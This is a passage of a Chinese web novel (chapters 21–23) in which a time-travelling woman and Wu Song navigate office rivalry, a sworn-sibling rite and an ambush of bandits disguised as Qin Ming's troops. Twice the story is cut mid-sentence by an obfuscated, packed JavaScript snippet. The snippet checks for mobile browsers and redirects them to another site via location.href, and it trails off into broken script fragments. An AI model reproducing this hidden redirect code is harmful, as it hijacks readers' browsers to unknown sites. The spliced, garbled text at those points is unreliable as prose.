郁竺在心里冷笑的一声,吴胜这是终于如愿把火烧到自己身上了。 还未来得及反驳,只听“啪”的一声,一旁的武松将手中酒杯重重放在桌上,面色紧绷。韦暄虽酒力不胜,已略有醉意,却也被这突如其来的声响惊得微微一颤。 郁竺悄悄在桌下按住武松,反问道:“吴老所言挟恩求报,那依您之见,这位女子所求之报究竟为何?” “自然是攀附权贵,嫁入高门。” 郁竺毫无怯意地对上吴胜:“吴老可曾想过,世间女子虽多选择嫁人,但并非人人皆以此为愿。再者,即便有女子心怀高远,也非仅有嫁人一条路可走。” 这番论调吴胜此前从未听过,一时不知该如何攻讦,却还是一味坚持道:“即便如此,女子野心勃勃,终非善事。” 至此,韦暄原想调和双方矛盾的这场酒宴,已彻底偏离了初衷,他无奈地打圆场道:“二位言之有理,各有千秋,这品戏论道,实与读书求知异曲同工啊,哈哈哈……” 最终,酒席在韦暄尴尬的笑声里不欢而散。 郁竺对此毫无心理负担。诚然,方才她在酒桌上说些圆融之语,这饭也能欢欢喜喜地吃下去。 可是面对吴胜一而再再而三的挑衅,她绝不会有丝毫退让。因为一旦有了第一次的退让,便会有第二次、第三次,直至某日,吴胜会毫不留情地将她一脚踢出局。 她不能容忍这样的事情发生。 只是她这般“不识好歹”,多少辜负了韦暄的好意。郁竺心里盘算着,找个恰当的时机向韦暄解释一二,毕竟自己现在仍需倚仗他。 不料,回到住处后,韦暄竟主动寻来,对她温言道:“吴老虽是我府中的仆人,但自幼陪伴我长大,对我而言,犹如长辈,因此我难以对他多加责备。若他有冒犯之处,还望郁姑娘不要太过介怀。” 韦暄能有这个态度,说明他心里的天平还是偏向自己的,郁竺点了点头,将这芥蒂轻轻放下。毕竟妄图改变他人想法多是徒劳,吴胜虽然膈应人,却于她的大计无碍,她也不愿去多费这个心思。 只是本来今天办成了孙二娘开店一事,她心情挺好的,不想晚上发生这个插曲,着实令人不爽,加上此刻小腹隐隐传来微微的坠痛感,于是简单整理一番后,郁竺便上床躺下。 虽说告诉自己不必在意他人言语,脑子里却忍不住回味着吴胜那句“女子野心勃勃,终非善事”。 那么耳熟的话,上辈子也有人跟她这样说过。 那时,她刚毕业,凭借出色的学历和导师的推荐,有幸进入帝都一家顶尖的律师事务所。然而,工作之后她才逐渐意识到,自己曾经引以为傲的学历,在同事们强大的家庭背景面前显得如此微不足道。 于是,她也像现在一样,默默地加班、内卷,渐渐地,同事们对她的评价开始变得不那么友善,诸如“什么都想争”、“吃相不好看”之类的言论被有意无意送入她的耳中。 她看似置若罔闻,心里却难受得紧——如此拼命,只是不愿回到那个生养她的小县城罢了,那里的人际关系错综复杂,办事全靠关系网,三天两头还要被父母催婚。 因此她想在帝都立足,一无所有,只能奋力一搏,虽然姿态可能不够优雅,但这又有何错呢? 如今,在这个全新的世界里,仍然有人对她说着同样的话,只不过理由更加赤裸——因为她是女性。 郁竺将自己深深地埋在被子里,对那些既得利益者默默划了个叉。 就在这时,门外传来了敲门声。 不知道是哪一个没有眼力见的家伙,这会儿来打扰她?郁竺带着点怒气下了床,猛地打开门,却意外地发现是武松站在门外,手里拎着一个小巧的桌案和一些香油烛火。 21.第 21 章 “兄长拎这些做什么?” 此时夜已深,又是腊月,外头寒风凛冽,郁竺见武松手上拎着东西,怕不是一两句话就能说完的,连忙让他进了屋。 武松低着头没有回答,将手上的东西放在地上,郁竺这才发现,不光有条案和香油,还有些酒肉。 “兄长,这是刚才酒宴上没吃饱吗?”被这一出整懵了,郁竺未经大脑便脱口而出。 武松闻言倒是笑了出声:“我当妹子心情不好,却还有心情开我的玩笑。” 言罢,他将那条案放在屋子的南方,又把酒肉一在案上摆好,然后点起香油,这才道:“先前在那云隐观你我结为兄妹,当时条件不便,未曾有正式之礼,我想着今日正好,就将此礼补上。” 郁竺闻言,心中恍然,回忆起当日武松确有此言,只是时光荏苒,她几乎忘得差不多了,不想武松竟然还记在心上。 “这些日子早已将兄长当作自家哥哥,这等虚礼补与不补,又有何妨?难为兄长还惦记着。” 武松闻言轻哂,立在案前,将两个酒碗斟满,递了一碗给郁竺,自己则端起了另一碗。 月光透过窗棂,斑驳地洒在两人的肩头。 武松将手中的酒碗高高举起,看向郁竺:“今日你我正式结拜为兄妹,虽无高堂在上,但天地为证,日月可鉴。” 说罢就将碗中之酒倾洒在地面上,郁竺也有样学样。 做完这一切,屋里再度归于寂静。郁竺其实不太明白武松为何要挑今日晚上这个时间来补上结拜仪式,但她知道这么做一定有他的目的,便静静等候下文。 果然,漫长的沉默后,武松的声音再次响起:“今日方知妹子胸中凌云之志,武松敬佩。” 所以?是看到自己与吴胜一番争论,特意来安慰自己,表示支持? 郁竺觉得怕是没那么简单,但还是接着武松的话道:“兄长言重了,不过是吴胜屡屡相逼,我憋着气罢了。” 武松点了点头:“妹子有此气性是好的,出门在外,若是一味软弱可欺,难免遭人欺凌。” 说到此处他顿了顿,似乎在衡量着接下来的话语重量,片刻后像是下定了决心似的,继续道:“你我既已结拜,妹子又将我当做亲哥哥,那我问几句话,妹子如实告诉,不得瞒我。” 郁竺闻其言中之意,心中一紧,一种不祥的预感升起,却还是应承道:“兄长尽管说,我知无不言。” “好。”武松深深看了郁竺一眼,眸子里的千言万语像是在寻找合适的出口。 漫长的沉默中,郁竺的心跳逐渐加速,一股无形的压力将整个空间挤压得如同即将破裂的气球。 终于,武松的声音划破了这份压抑:“在张都监府上,你放在阮进身上的那封牛皮袋书信,是早就写好的吧?” 郁竺心中微澜四起,面上却依旧平静如水,她轻轻颔首:“不错。” 见郁竺答得坦然,武松紧绷的神经略微放松,但心中的疑惑却野草般疯长:“你一直心怀离府之意,此番布局,可是料定我那晚会回府?” “是。”郁竺抬眼,直视着武松,目光相接时,武松却似被烫到一般,迅速移开视线,沉默片刻后,再次开口。 “马院里那番话,是刻意说给我听的吗?” “是。” 时间像静止了一样,周围静得只能听见呼吸声,连窗外偶尔传来的夜鸟鸣啼也显得格外清晰。 郁竺瞥见武松的手,紧紧攥着酒杯,指节因用力而泛白。 她轻叹一声,再次斟了一杯酒,递向武松,对方却雕塑般未有任何反应,酒杯悬在半空,最终只能无奈地收回。 “兄长难道不想知道,我为何能预知你那日会返回府中,又为何清楚你会从那个角落翻入院内吗?” “为何?”武松的眼神没有聚焦,飘飘的越过郁竺,看着她身后的空气。 郁竺深吸一口气:“因为我做了一个梦。” “梦?” “对,一个关于未来的梦。” 刻意忽略武松的目光,郁竺径自说了下去:“中秋那日不久,我便梦到兄长被刺配恩州,蒋门神派人在飞云浦杀害兄长,但兄长得以逃脱,回到都监府寻仇,一连杀了十五个人,我也死在兄长刀下,后来官府要缉拿兄长,兄长便四处漂泊无依,了此一生。” 随着郁竺的话语落下,武松的眼神逐渐恢复了焦距,凝视郁竺的眼神中难掩复杂之色,良久,他笃定道:“你不是玉兰。” 这是他第二次对自己的身份产生怀疑,但郁竺并未感到意外。武松虽与玉兰此前并无太多交集,但他心思细腻,短短相处便能摸清一个人的性情。 失忆之说,虽能解释那些突然掌握的学识技能,却无法掩盖她与玉兰迥异的性格。逃离都监府后,她更是未曾有过丝毫掩饰,武松能发现这一点,并不奇怪。 此时若再用失忆来搪塞,无疑是对武松智商的侮辱郁竺略作思忖,抬眼望向武松,说道:“兄长以为,人之所以为人,其根本在于躯体,还是灵魂?” 武松闻言,不禁一愣,略一思索,却觉这话中似有玄机,不禁疑惑,躯体与灵魂,难道还能分离? 未等他开口,郁竺又道:“兄长认下的妹子,一直都是此刻的我。” 武松听闻此言,心中惊涛骇浪翻滚不息,他虽曾听闻戏文里借尸还魂的离奇故事,却总觉是虚构,未曾相信过这等奇事。然而此刻,这番场景真真切切地在他眼前上演,令他一时之间不知该如何是好。 他抬眼看向郁竺,中秋之夜太过久远,彼时那女子的面目已在他记忆中模糊,但眼前的她,和他一起从那如地狱血海般的都监府中逃出,又一路扶持。 确实,她从未害过他,甚至在遇到她之后,武松觉得自己那如草芥般的性命,也仿佛挺直了起来。 因此,即使他早就发觉郁竺的言语中,有许多不能细细推敲之处,却还是选择相信她。今日补上结拜仪式,本也是为了告诉她,无需畏惧旁人言语,却不知为何到了此处,还是将梗在心里的话说了出来。 幸亏,郁竺没有因为他的不信任而生气。 思及此处,他自嘲地笑了笑:“是兄长愚钝了,问出这番浑话,妹子别放心上。” “哦?是吗,我倒不记得兄长说过什么。” 二人相视一笑。 此时夜已深重,即便以兄妹相称,武松亦不好在郁竺房中久留,如今话已说完,收拾好桌案,他便转身离去。 行到门边,武松却突然停下脚步,没有回头,以背对着郁竺的姿势开口道:“妹子但有所求,只管放手去夺。不争不抢,哪里会平白落得好事,且去拼他个天高地阔!” 说完,头也不回大步流星走进寒风里,留下一扇紧闭的门给郁竺。 郁竺盯着那扇门,许久,蓦地笑了。 * 年关将近,各项事务纷至沓来,盐铁课税、垦田、水利、积案……郁竺忙得几乎脚不沾地,她本没有接触过这些事务,全靠硬着头皮现学。 不过,刀在石上磨,人在事上练。一番时日下来,也将郁竺磨得有个“能吏”的样子了。 因韦暄对她的充分信任和重用,官衙内的公吏们有所顾忌,未有再当面出言冒犯,郁竺耳根清净了很多。更有些本性纯良之人,自始至终都未曾为难郁竺,她也便常向这些人虚心求教,久而久之,也结识了几位相熟的同僚。 譬如,那天指明“文案先生”在何处的公吏,郁竺和他相处得便不错。他是本府的孔目官,名叫李典,青州人士,人虽有些迂腐,却是难得的正直之士,业务也都精通熟练。 他手上业务繁多,刑狱诉讼、财物账目、遣发事务都有涉及,用酒楼银子的进项填补公田钱的事儿也要在他手上过一遍。这事儿本是有些说不清道不明,李典不敢妄自决定,犹豫着是否要向慕容知府禀报,郁竺探得消息后,立马拎着厚礼上门拜访他的家眷,和他浑家钟氏姐妹相称,弄得那李典十分不好意思,事情也就含含糊糊地带过去了。 韦暄效率倒是高,很快便谈妥了新乐楼的相关事宜。腊月二十之日,伴随着阵阵爆竹声,“善义楼”在一片喜庆中开了张。 武松则一直在各大户间奔波忙碌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050264|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,落实之前商定的各项事务,因此二人是好久不曾见得面。 直到腊月二十八,衙门里封了印,郁竺才轻松下来。 这是她在宋朝度过的第一个春节,虽是独在异时空,郁竺却并未感到有多孤独,大概是因为整日忙于工作,生活节奏仿佛又回到了上辈子那般熟悉,也就没有工夫去伤春悲秋。只是偶尔,她也会打开系统界面,看着那自上次兑换玉容丹后便再无变动的点数,心中稍稍有些焦虑。 不过转念一想,待到元宵节后,若一切仍按原著轨迹发展,或许还能寻得机会赚取点数。郁竺本是乐观的人,很快将自己的心情调节过来,开开心心享受这个春节。 除夕夜,一直在外奔波的武松终于回到了衙门。而韦暄因初来乍到,事务缠身,无法抽身回东京,也留在衙门过年,见武松回来了,便吩咐他将哥哥嫂嫂一起喊来。 张青与孙二娘闻讯后,早早地关了店铺,还精心准备了好酒好菜。 院内,郁竺将扎好的小彩灯,挂在修剪精细的罗汉松上,吴胜也在院中摆起了长案,挥毫泼墨,写完指挥着张青将春联贴在何处。 武松将孙二娘喊到一遍,展开蒲扇大的手掌,掌心赫然躺着两对耳坠。 一对是弯月式,一端连接着纤细的耳环脚,另一端接着一牙新月,十分雅致;另一对则是兰花式,更显精致,花瓣部分錾刻银线以脉理,还嵌有小珠子,熠熠生辉。 “哎呀,我武二兄弟开窍了,买这些做啥?”孙二娘一见,便窃笑道。 武松连忙扯了扯她的衣袖,示意她小声一些:“外出这些天给嫂嫂和妹子带的东西,嫂嫂先挑一个,另一个帮我送给妹子。” 孙二娘白了他一眼:“怎的,你自己为啥不送?” 武松干咳了两声:“外出前几日和妹子闹了些口角,嫂嫂便替我送去罢,权当替我向妹子赔个不是。” 孙二娘嗤笑一声,点了点武松的肩膀头子,将他掌心的两对耳坠子拿去了。 晚上吃饭时,武松的目光不时地瞥向郁竺的耳下,瞧见那朵摇摇晃晃的小兰花,终是舒了一口气。 无需工作的日子总是格外惬意,但难得享受这么长的假期,郁竺又有些闲不住,想给自己找些事情做做,在衙里转了一圈,发现无从下手后,她就将改造的目光落在了自己身上。 这具身体年轻貌美,但是有个问题——太瘦弱了。 想当年,自己可是出差在酒店健身房都要做六组硬拉的人,如何能忍受得了这跑几步就喘的娇弱身躯。 说干便干,她立即找了个窄袖穿上,溜达到院子里准备跑步,却见武松已经在院子里将一根哨棒耍的虎虎生风。 “妹子这是要干什么?”见到郁竺,武松停下手上的棍棒。 “我出来跑两步,额,锻炼身体。”郁竺不知道该怎么描述,怕武松误解自己的意思,直接将自己拖去教授拳脚,在十字坡她是见识过武松指点孙二娘的,可将嫂子摔得不轻。 “妹子要强健身体,何必如此,我只管来教你两招。”果然,武松开口道。 推脱不过,郁竺只得苦哈哈地跟着武松练起了“强身健体拳”…… 日子过得飞快,转眼到了正月十六。 夜幕降临,孙二娘带了些元宵来到内衙,众人边吃边商议着一会儿去街上赏玩花灯,外面忽然传来一阵喧闹。 片刻,前头急匆匆跑来一个公人禀道:“韦通判,慕容知府让您速去前厅议事。” 郁竺闻言心中一动,这是她来此处这么久,慕容彦达第一次踏足府衙,想必是为了那件事情。 韦暄听罢,丢下手中碗筷,急匆匆赶往公堂,郁竺和武松也紧随其后,众官员都在,他们二人身份低微,便在公堂后身中门处等待。 果然,公堂里传来慕容彦达愤怒的声音:“清风寨知寨刘高说花荣结连清风山贼寇,便派黄都监去一探究竟,谁知黄都监来了书信。” 说罢他将那书信朝公案上一掷,韦暄捡起来念道:“……反了花荣,结连清风山强盗,时刻清风寨不保。事在告急,早遣良将,保守四方。①” 22.第 22 章 正月里夜风依旧冷得像刀子,郁竺拉着武松到公堂后的走廊上暂避,只听韦暄话音刚落,便是一记拍案惊响,紧接着,一个粗犷的声音穿透寒风,叫在外面的郁竺也听得清清楚楚:“红头子敢如此无礼!不须公祖忧心,不才便起军马,不拿了这贼,誓不见公祖。①” 武松在一旁压低声音解释道:“此人怕就是青州指挥司总管本州兵马统制,人称‘霹雳火’的秦明。” “不错。”黑暗中突然有另外的声音传来,吓得郁竺一激灵,抬眼看去,不知吴胜何时也跟了出来,负手站在武松一旁,花白的胡须微微翘起,“秦统制有万夫不当之勇,一把狼牙烽火棒使得举世无双,此番出征,定能马到功成。” 郁竺见他似有得意之色,不禁揣测道:“吴老与秦统制,莫非有旧?” “确实,不过说来话长来。”见郁竺如此问,吴胜也不隐瞒,又道,“昨日,老夫已从通判大人处得知慕容知府派黄都监剿匪之事。素闻花荣勇猛,恐怕黄都监难以匹敌,故而老夫早早遣人告知秦统制,令其有所准备,如今看来,果不其然。” 吴胜特意强调昨日便从韦暄处得知此消息,便是向她炫耀自己更得韦暄信任。这种“我知你不知”的把戏着实幼稚,郁竺忽视掉吴胜那自得的嘴脸,将注意力转移到眼前的事情上来。 不出意外的话,秦明夜走瓦砾场的剧情马上就要上演了,原著里他被宋江坑得家破人亡,无奈落草。这是一个郁竺等待已久的刷成就的机会,自然要好好利用一番。 武松对吴胜提到的几位日后的“梁山好汉”十分感兴趣:“早就听说秦统制威名,这花知寨也如此厉害么?” “此言差矣。”吴胜摇摇头,“既连结贼寇,便不再是知寨了。” 正说话间,前头传来乱哄哄的脚步声,如同夜色中的一阵急风,随即归于平静,原来是外头人已散去。 不一会儿,韦暄一人从中门步出,见到三人,抬了抬手示意他们先回内衙,边走边道:“今夜暂且安心,秦统制已连夜集结人马,明日一早便拔营,先回房歇息吧。” 韦暄此刻心事重重,自然是没有闲聊的兴致,一行人沉默地走到内衙庭院,郁竺刻意放慢脚步,等吴胜先回了房,身边只剩下武松后,这才开口。 ‘’大人,花荣素有善射之名,人称小李广,非易与之辈,我闻秦统制性情如火,可那清风山易守难攻,此行恐怕是不好啊。” 韦暄闻言停下了脚步,他刚才也在思量这件事,秦明拍案而去,声势虽壮,但总叫他内心惴惴:“兵法云‘善攻者,动于九天之上’,可又说‘主不可怒而兴师,将不可愠而致战’②,因此方才见秦统制怒发冲冠,我便有此忧虑啊。” 他负手在在院中踱步,面露难色:“可此次毕竟是知府大人直接点明秦统制出征,就算有此顾虑,又该如何是好?” 郁竺暗自思忖,秦明作为青州地方军队的最高指挥官,此情境下出征实属理所应当,即便她知道兵败的结果,也一时找不到理由直接干预。 也罢,还是将重点转移到后面吧。 想到此处,她看了眼武松,拱手对韦暄道:“大人,此时忧虑也是无益了,不妨明天一早点上五十个善使棍棒的保正、民壮,安置在城郊进行巡绰,若秦统制凯旋,自然无事;若有不测,也好及时应对。” “只能如此了。”韦暄应道。 另一边,武松接收到郁竺的眼色心领神会,连忙主动请缨道:“大人日夜操劳,此事交由武松便是。” 韦暄颔首,示意他不必多礼:“你办事,我一向放心。随机应变,有任何情况,速来禀报。” * 翌日晨光初破,武松自去招募民壮,韦暄随慕容知府在城外赏军,郁竺也跟着来到城外,挑了处不起眼的地方站定。 目光所及,一百精骑与四百步军如林般矗立于城垣之外,旌旗招展、戈戟森森。 虽说宋朝的军队战斗力一直为后世诟病,郁竺此前心里也有点瞧不上,但亲眼目睹这五百将士整装待发,气势如洪,心中还是生出感慨,不禁遐想,若是千军万马齐出,那将是何等震撼人心的场面。 城门前,一条长案蜿蜒铺展,绵延百米有余,上面依次摆着数百个陶碗,早有公差忙碌其间,酒水斟满,馒头与熟肉摆放得井井有条。 慕容彦达手持一个陶碗,将酒水一饮而尽,然后高举过头顶,再重重掷地,碎裂之声响起,军中随之爆发出一阵叫好。随后,各军士也依次上前,领取各自的酒肉,士气很是高涨。 正当此时,城内一阵马蹄声由远及近,一队人马缓缓而出。 却见最前头是一个引军红旗,上书“兵马总管秦统制”。紧随其后,一柄密嵌铜钉、寒光凛冽的狼牙棒跃入众人视线,直至最后,一位身披银色龟背铠、脚踏绿色云根靴的将军,跨坐高头大马之上,缓缓驶出城门。 郁竺知道那必然是霹雳火秦明,定睛看去,只见他膀阔腰圆、面如重枣、眉毛倒横,心道果然是一员猛将。 秦明远远瞧见慕容知府在城外赏军,连忙让一旁的军士接过狼牙棒,翻身下马,重重一拜。慕容彦达见状,虚手相扶,又亲手递上一盏酒,待秦明一饮而尽他才道:“善觑方便,早奏凯歌。” “定不辱使命!” 辞了慕容彦达,秦明飞身上马,摆开队伍。 此时,四处放起信炮,五百人便在这炮声轰轰中,直奔清风寨而去。 “如此,便能心安了,只等秦统制旗开得胜,凯旋而归了。” 郁竺循声看去,却不知吴胜又何时站到了自己身边,她也不反驳,笑了笑:“此事自是吴老大功一件。” “欸,过奖,过奖。” 吴胜刚想谦虚两句,不料郁竺竟头也不回地径自离去。他眉头微蹙,但旋即便舒展开来,嘴角挂上一抹淡笑,轻轻摇了摇头,自语道:“到底是女子,心胸气度难免狭隘了些啊……” * 郁竺寻到武松时,他正带着十个民壮在城外一处村子处巡逻。 见郁竺来了,武松撇下后面几人,走到郁竺跟前:“这郊村竟有百十余户,原本以为五十人多了,谁知竟刚刚好,我让他们一人负责盯着十户,另外四十人分作四组,轮流巡逻。这下妹子尽可放心了吧。” 郁竺环顾四周,只见屋舍俨然,不少村民早上刚见一将军率众军士打马而过,此刻又见官府着人在此,便猜想有大事发生,纷纷扒在自己门口好奇地张望着。 “兄长辛劳,秦统制得胜归来前,还请兄长驻扎此处。只是万勿忘了叮嘱这些百姓, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062549|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜间不得出门,即便有什么动静,也得待到天亮再出来。” 清风寨离青州城有十余里远,秦明带有步军,行军速度便不会太快,想必战败被擒上山也是第二天才会发生的事情,随后宋江便安排人假扮秦明来到这处村庄大肆杀掠。 只不过郁竺不敢掉以轻心,焉知剧情不会因为自己的存在而产生了些微的改变,要是宋江提前一晚着人下山,那可就措手不及了,为此,她宁可早早将人安排在此等候。 武松听了郁竺的话有些好奇,见四下无人,他小声道:“清风寨离此处甚远,即便秦统制兵败,想必那贼寇也不敢远离山寨到青州城下劫掠,妹子何故如临大敌?” 若非提前预知剧情,郁竺也想不到宋江会使出如此阴毒的招数残害无辜,只不过她暂时无法和武松解释,只好含糊道:“若是平时自然不敢劫掠至此,只是担心若有军士被俘,那些贼寇便穿了我军士衣物下山来,我们若是不曾防备,便不好了。” 武松何等精细之人,听闻郁竺所言,自然知道这是极有可能发生的,他也曾听闻河北山西一带的贼寇杀了剿寇的官兵,穿上他们的衣物去县里招摇过市的事情,此刻自然紧绷起来。 “若是果真如此……”武松略微回顾了下自己的布防,发现还有不少可被攻破的漏洞在,急忙道,“只怕现在的安排是不够的,最好还得在道口处加上绊马绳、撒上铁蒺藜,我再派人禀报通判大人安排些弓手埋伏。” 郁竺对于现在的单兵战斗力没什么具体的概念,她只知道武松步战无敌手,因此便觉得有他守在此处,加上五十个民壮肯定万无一失了,不想听武松如此说来,才知道自己此番安排颇有疏漏,幸亏武松有经验,她暗暗舒了一口气,由衷道:“兄长思虑周全,我自愧弗如。” * 夜幕降临,青州城外被一层淡淡的月色轻纱所笼罩。 曹保正沿着自己负责的区域巡视了一圈,发现有几户好事的村民悄悄在门板上留了条缝,正鬼头鬼脑窥视着外面的动静,连忙上前呵斥一声,那村民吓得急急忙忙将最后一块门板装上,熄灯睡觉去了。 见此,曹保正总算安下心来,寻了处柔软的草坡,惬意地躺了下来,只见月明星稀。 他是青州连溪村的保正,因善使刀剑,在当地也算小有名气。今日一早便被官府的武教练招去,说是晚上有要事安排。 那武教练身躯凛凛,仪表堂堂,一看就知是绝顶高手,曹保正同为练武之人,自然心生亲近之意,便有意表现。 果不其然,武教练将这道口的重要防守任务交给了他,若是贼寇夜袭,他定能立下头功。 他正沉浸在美好的幻想中,却被手下一个小喽啰打断了思绪:“保正,我咋听说叫我们守在这儿,是一个娘们安排的啊?” “休得胡说,娘们怎能做此安排,我看你是想娘们想疯了。”曹保正挥挥手,让那小喽啰滚到一边。 小喽啰受了气,委屈地找了处地方趴下,却听得地面上有咚咚的马蹄声传来,那力道简直穿透鼓膜,他脑间的瞌睡瞬时醒了一大半,连忙起身望去。 但见月光下,一队人马的影子朝此处奔袭而来,领头的那个带着头盔,手中所持兵器被月色勾勒出一个模糊的形状。 似乎是一柄狼牙棒。 23.第 23 章 “秦……”还未来得及出声,那喽啰就被曹保正一把按在地上。 “小声点。”曹保正低吼了一句,又对旁边拉着绊马绳的民壮轻声说道:“待领头那人进了道口,听我指令,再拉绳子。” 四周民壮低声应是。只见那一队人马由远及近,曹保正感觉自己的心脏泵着全身的血液直冲大脑,他觑起眼睛,觉得黑暗中视线前所未有的清晰。 那人……不是秦统制! 他虽是一个小小保正,却也有幸见过几次秦明操练军士。秦明力大无穷,一百多斤的狼牙棒抡得虎虎生风,即便是骑在马上,也是单手握住那兵器的下半段,此前他还为此感慨果然神力,要是自己,只怕得双手一头一尾拿着。 可此人,紧紧抓着狼牙棒的前段握把,将整个兵器斜插在身前。 此等蟊贼,区区伎俩,果然叫武教练算个正着——今夜会有贼人假扮官军前来劫掠。 想到这里,曹保正瞬间热血起来,由衷为自己条理清晰的推断自豪了一把,果断下令左右拉起绊马绳。 那“秦明”俯冲速度极快,已是冲过道口,却见身后弟兄从马上飞出,直直摔落,慌忙勒马,却见四处亮起火把,这才敲清前方是闪着寒光的铁蒺藜,转身看去,道边的草坡下,皆是人影。 “中计了!”他心一横,正打算豁出性命冲回头,却被一个绳索“咻”地套住,跌落下马来。 * 村内,一处空着的民宅内。 郁竺整了整头上皂色的幞头,将耳侧散落的头发细细压到下面,又用手摸了点炭黑,轻轻擦在唇上,昏暗的灯光下,还真有几分像短短的青黑色胡髭。 掏出怀里的铜鉴左照右照,郁竺对自己的装扮十分满意,便问道:“兄长,这样可行?” 武松稍微站远了些,上上下下仔细打量一番,评价道:“虽说妹子在肩膀处垫了棉絮,但是看起来身量依旧太小,若是眼力上佳之人,怕是几眼就看出来了。” “……好吧,那这样呢。”郁竺寻了处椅子斜倚着坐下,大腿翘二腿,将身上那天青色锦袍潇洒一扬。 “好些了,到时我押着那人不细看就行。”武松换了几个角度观察一番,终是点点头,“不过你这身行头哪里来的?虽是华贵,却有些老沉持重了。” “嫂子从十字坡带来的家当,说是顶好的一件了,都没舍得给张大哥穿过。”郁竺边说边摆弄着腰间的玉带,说实话想到这衣服主人早已转世投胎,她穿着也有些别扭。 “唔……”武松刚想说什么,却听见外面传来“快点!走快点!”的叫骂声,便知正事要紧,立马噤声。 郁竺闻声也赶紧在椅子上调整了下坐姿,让自己看起来更洒脱随意些。 门被猛得从外面推开,只见曹保正和两个民壮押着一个赤发黄须的大汉。 待那大汉进了屋,武松一脚踢在他膝盖窝里,喝到:“反贼跪下,还不快拜见通判大人。” 曹保正和手下的民壮看了眼坐在上首的“通判大人”,不约而同低下了头,眼里闪着同样的疑惑——怎么和早上看到的不太一样。 不过他们也不是那心智残缺之人,自然不会在此刻质疑这个问题。 那赤发黄须的大汉正欲抬头,却被武松一掌压了下来,只得恨恨骂道:“狗官!奸诈小人!莫不是怕了爷爷,便使这等伎俩埋伏,不得好死!” 郁竺听得直想发笑,怎的宋江叫人扮做秦明下山烧杀抢掠便是好汉,自己设计埋伏便是小人了。 不过她犯不着和这大汉理论,只是压低了声音,佯装愤怒道:“大胆秦明,竟敢连结贼寇,将这御赐盔甲赠予贼人,纵容贼寇侵略州县,来人,给我扒下他的甲胄。” 武松闻言,立刻打了个手势,曹保正等人一拥而上,将那大汉扒得只剩下一条亵裤。 此时还在正月里,这破屋四处通风,纵使那大汉满身精肉,也扛不住这凛冽刺骨的寒意,不由得两股战战。 他心里疑惑,怎么这狗官不骂自己,倒是先骂上秦明了。 郁竺也不出声,维持着“洒脱不羁”的坐姿,直等那大汉抠在地上的手指冻得渐渐失去血色,这才开口道:“回去告诉你们头领,秦明本是朝廷命官,如何行这不忠不义之事,你这处带下山的贼寇还有二十余人,已尽数被我拿住,要想要他们活着回去,就将那秦明交出来换。” 说罢,也不待那大汉回话,便不耐烦地挥挥手:“好了,快滚吧。” 武松闻言,将一团破布塞入大汉口中,又将其手脚重新缚住,这才示意曹保正等人将其弄走。 这赤发黄须的大汉不是旁人,正是清风山大寨主,江湖人称锦毛虎的燕顺。 他光着身子被曹保正扔到沟里,却见那些人头也不回地走了,真是叫天天不应、叫地地不灵,一行浊泪顺着面皮流了下来。 想来,今早在花知寨的指挥下,山寨大破秦明的军队,还将秦明本人拿了上山,只是那秦统制瞧不起自己这等绿林好汉,不愿投身于此。宋公明便也不勉强,让自己好酒好肉款待着。 等到晚上秦明大醉睡下后,宋公明才悄悄找到自己,道是可选一些人马,穿着秦明的装束到青州城外劫掠烧杀一番,栽赃嫁祸于他,定能断了秦明的后路,将他赚上山寨。 他闻此计自是满心欢喜,有秦明上山,焉愁清风山没有壮大之时,于是便亲自带队下山。谁曾料到官军竟早有埋伏,真是可惜了自己带来的二十来个弟兄。 不对,方才那年轻的官儿和自己说什么来着?好像是用秦明可以换得那二十几个兄弟的性命? 想到此处,燕顺顿时精神了起来——既是想让自己回去报信,那这绳子便没有下死手。他剧烈地挣扎着,半天才挣脱下手脚的束缚,也不顾得自己何等模样,如丧家之犬般夜奔十几里,直往那山寨奔去。 清风山夜色如墨,月隐星藏。 聚义厅内,山风穿堂而过,将灯烛火吹得摇曳。 宋江也不曾睡去,和衣端坐在那山大王的座椅上,越等越是心焦。 想来燕顺等人快马加鞭,也该是时候到了,怎么还无音讯,莫非出了什么意外不成? 他迟疑地看了眼一旁的王英和花荣,王英心领神会道:“哥哥无需担忧,我在秦明的酒中下了十成十的蒙汗药,不到明日辰时,就是天王老子也叫不醒他。” 宋江闻言,悬着的心这才稍稍放下一些,却听山寨喽啰来报:“不好了!不好了!大王回来了。” 宋江心里咯噔一声,来不及多想,急忙起身相迎,却见燕顺被四个喽啰用木板抬进了聚义厅,身上去时穿的甲胄半点也无,不禁哑然道:“燕顺兄弟,你……这是怎么了?” 燕顺自青州城外一路裸身狂奔,又无车马,待奔至山上,早已累得气都喘不上来,多亏山脚下的小喽啰给他披了件衣服,又烫了热酒,飞散的魂魄这才稍稍归了位。 他定了定神,从那木板上翻身下来,声泪俱下道:“公明哥哥,小弟误了你的大事啊!” “兄弟,快快说来啊!”花荣在一旁见燕顺号得上气不接下气,不禁焦急道。 “我在青州城外,中了官兵埋伏,衣裳叫他们扒了,兄弟们也让官兵拿住了,那领头的官儿说是拿反贼秦明才可换得那些兄弟性命。” “反贼秦明?”宋江敏锐地捕捉到这话里的关键,“兄弟这话可听错了?” 见宋江如此问,燕顺懵了一下,继而反驳道:“怎会有错,虽说此次出师不利,但我也不至于这等话都听错,正是那官儿说什么秦明将御赐甲胄借予我等贼人穿,才大骂他反贼。” 